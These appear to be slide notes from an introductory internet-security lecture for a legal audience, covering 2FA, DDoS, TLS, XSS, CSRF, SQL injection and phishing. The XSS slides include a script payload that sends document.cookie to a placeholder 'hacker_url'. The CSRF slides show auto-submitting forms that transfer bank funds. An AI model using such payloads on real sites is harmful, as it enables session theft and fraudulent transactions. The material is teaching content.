
Cybersecurity: Internet 
Security
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Git and GitHub
• As we've discussed, GitHub is an incredible tool used by 
programmers as a source code repository; the design of the 
platform is such that you can remix or "fork" material from others 
as well.

• Public repositories are just that, public. And GitHub's model 
partially relies on programmers availing themselves of GitHub's 
inexpensive packages that are often "unlimited public 
repositories" based.
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Git and GitHub
• To prevent the accidental exposure of sensitive information, 
there are a number of safeguards that can be used.

•git-secrets
• Limit third-party app access 
• Use "commit hooks"
• Use SSH keys (public-private key pairing)
• Mandate use of two-factor authentication
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Two Factor Authentication (2FA)
• The two factors that comprise the login need to be 
fundamentally different.

• Something you know… such as a password; and

• Something you have… such as a cell phone or RSA key.
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Two Factor Authentication (2FA)
• Several different tools and services exist that provide 2FA 
services, and there's no technical reason not to use them.

• Google Authenticator
• Authy
• Duo Mobile

• Also simply via SMS, provided by individual applications.



Denial of Service (DoS) Attacks
• The basic idea behind a denial of service attack is to cripple 
infrastructure.



Making Cyberspace Safe for 
Democracy

30 Yale L. & Pol'y Rev. 211-232 (2011)
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Denial of Service (DoS) Attacks
• Hypothetically, a denial of service attack should be fairly easy to 
stop.

• Distributed denial of service attacks (DDoS) attacks are much 
harder to prevent or stop, because the incoming requests are 
coming from hundreds or more, typically, different addresses.
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Denial of Service (DoS) Attacks
• Some techniques for averting DDoS attacks are:

• Firewalling
• Sinkholing
• Packet analysis
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HTTP and HTTPS
• Recall that HTTP is the HyperText Transfer Protocol, used to 
define and facilitate communications between clients and 
servers over the internet.

GET /execed HTTP/1.1

Host: law.harvard.edu
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HTTP and HTTPS
• As you probably can imagine, HTTPS is the secured version of 
HTTP, for encrypted communications between client and 
server.

• Whereas HTTP requests are typically received via port 80, 
HTTPS requests go to port 443 instead.

• In order for HTTPS to work, it requires that the server providing 
the data possess a valid SSL/TLS certificate.
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SSL/TLS
• SSL is the Secure Sockets Layer, yet another 
encryption-related protocol for network communications. It has 
largely been updated and revised as Transport Layer Security 
(TLS).

• The basic idea is that the client browser intending to use 
HTTPS checks the validity of the certificate of the server.

• After a set of steps, a session key is created and is used to 
encrypt all further communications between the client and 
server until the session is terminated.



SSL/TLS

Image source: googleblog.com
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Cross-Site Scripting (XSS)
• Recall that in learning about the difference between JavaScript 
and Python, we also learned about the difference between 
server-side code and client-side code.

• Cross-site scripting vulnerabilities exist where a client is able to 
trick a page on the server to display data or perform some 
action locally that it shouldn't do.



from flask import Flask, request

app = Flask(__name__)

@app.route("/")

def index():

return "Hello, world!"

@app.errorhandler(404)

def not_found(err):

return "Not Found: " + request.path
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from flask import Flask, request

/foo

@app.route("/")
def index():

return "Hello, world!"

@app.errorhandler(404)
def not_found(err):

return "Not Found: " + request.path

Cross-Site Scripting (XSS)



from flask import Flask, request

/<script>alert('hi')</script>

@app.route("/")
def index():

return "Hello, world!"

@app.errorhandler(404)
def not_found(err):

return "Not Found: " + request.path

Cross-Site Scripting (XSS)



from flask import Flask, request

/<script>document.write(
    '<img src="hacker_url?cookie=' + 
    document.cookie + '" />')</script>
def index():

return "Hello, world!"

@app.errorhandler(404)
def not_found(err):

return "Not Found: " + request.path
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Cross-Site Scripting (XSS)
• What techniques could we (or our clients!) use to protect 
against XSS vulnerabilities?

• Sanitizing all inputs
• Disabling JavaScript
• Specialized handling of JavaScript
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Cross-Site Request Forgery (CSRF)
• Whereas XSS attacks frequently involve tricking a browser 
instance into running client-side code, CSRF attacks involve 
making outbound requests invalidly. 

• Recall that with most sites we visit today, cookies are 
established as a shorthand verification of our identities.

• CSRFs exploit cookies to attempt to make fraudulent requests 
that appear legitimate on their face.



<body>

   <a href="http://yourbank.com/transfer?to=doug&amt=500">

      Click here!

   </a>

</body>

Cross-Site Request Forgery (CSRF)



<body>

   <img src="http://yourbank.com/transfer?to=doug&amt=500" />

</body>
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<body>

   <form action="https://yourbank.com/transfer" 
method="post">

      <input type="hidden" name="to" value="doug" />

      <input type="hidden" name="amt" value="500" />

      <input type="submit" value="Click here!" />

   </form>

</body>

Cross-Site Request Forgery (CSRF)



<body onload="document.forms[0].submit()">

   <form action="https://yourbank.com/transfer" 
method="post">

      <input type="hidden" name="to" value="doug" />

      <input type="hidden" name="amt" value="500" />

      <input type="submit" value="Click here!" />

   </form>

</body>

Cross-Site Request Forgery (CSRF)



Cross-Site Attacks: Summary
• A cross-site scripting attack occurs when the adversary tricks 
you into executing client-side code. This causes you to do 
something within your browser that you don't intend to do.

• A cross-site request forgery attack occurs when the adversary 
tricks you into making an HTTP request (such as a POST 
request) that you did not want to make.
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id username password
1 tom hello
2 james 12345
3 greg password
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id username p_hash
1 tom 5D41402ABC4B2A76B9719D911017C592

2 james 827CCB0EEA8A706C4C34A16891F84E7B

3 greg 5F4DCC3B5AA765D61D8327DEB882CF99

4 malan E80B5017098950FC58AAD83C8C14978E

5 rodrigo 5F4DCC3B5AA765D61D8327DEB882CF99
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id username p_hash
1 tom 5D41402ABC4B2A76B9719D911017C592

2 james 827CCB0EEA8A706C4C34A16891F84E7B

3 greg 5F4DCC3B5AA765D61D8327DEB882CF99

4 malan E80B5017098950FC58AAD83C8C14978E

5 rodrigo 5F4DCC3B5AA765D61D8327DEB882CF99

users

Databases
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SQL Injection

Image source: xkcd.com
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SELECT * FROM users
WHERE (username = uname)
AND (password = pword)

SQL Injection
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SELECT * FROM users
WHERE (username = 'alice')
AND (password = '12345')

SQL Injection
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SQL Injection
• Now we see how an adversary could break into a SQL 
database, why is this problematic?

• Bypassing login
• Pretending to be a database admin
• Manipulate data in the database



Computer Fraud and Abuse 
Act

18 U.S.C. §1030



Pulte v. LIUNA
648 F.3d 295 (6th Cir., 2011)
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Phishing
• Phishing is the attempt by an adversary to prey upon the 
ultimate weakness in any security scheme: people. 

• Purporting to be a business that someone may regularly interact 
with, the goal of a phisher is to socially engineer the target to 
give up secure information on their own.

• Netting, whaling, spearfishing…
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